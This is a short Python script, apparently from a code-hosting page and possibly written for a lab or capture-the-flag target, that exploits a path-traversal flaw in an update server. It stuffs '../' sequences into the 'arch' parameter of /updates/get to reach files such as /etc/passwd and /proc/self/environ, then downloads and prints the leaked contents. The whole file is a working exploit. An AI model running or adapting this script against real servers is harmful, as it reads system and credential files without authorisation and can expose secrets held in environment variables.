43 lines
1.3 KiB
Python
43 lines
1.3 KiB
Python
import sys
|
|
import json
|
|
from urllib.request import urlopen
|
|
from urllib.error import URLError
|
|
|
|
url = sys.argv[1] if len(sys.argv) > 1 else "http://UPDSRV:8080"
|
|
url = url.rstrip("/")
|
|
|
|
targets = [
|
|
"etc/hostname",
|
|
"etc/passwd",
|
|
"proc/1/cmdline",
|
|
"proc/self/environ",
|
|
"proc/cpuinfo",
|
|
]
|
|
|
|
for depth in range(1, 11):
|
|
up = "/".join([".."] * depth)
|
|
for target in targets:
|
|
arch = f"{up}/{target}"
|
|
params = f"platform=android&arch={arch}&app=1.0.0&kernel=0.0.0"
|
|
try:
|
|
with urlopen(f"{url}/updates/get?{params}", timeout=5) as resp:
|
|
data = json.loads(resp.read())
|
|
except (URLError, ValueError):
|
|
continue
|
|
|
|
update_needed = data.get("kernelUpdateRequired") or data.get("kernel_update_required")
|
|
kernel_url = data.get("kernelUrl") or data.get("kernel_url")
|
|
|
|
if update_needed and kernel_url and ".." in kernel_url:
|
|
print(f"Found: {kernel_url}")
|
|
try:
|
|
with urlopen(url + kernel_url, timeout=5) as f:
|
|
content = f.read().decode("utf-8", errors="replace")
|
|
print(content[:1000])
|
|
except URLError:
|
|
print("Failed to download file.")
|
|
sys.exit(0)
|
|
|
|
print("Not vulnerable")
|
|
sys.exit(1)
|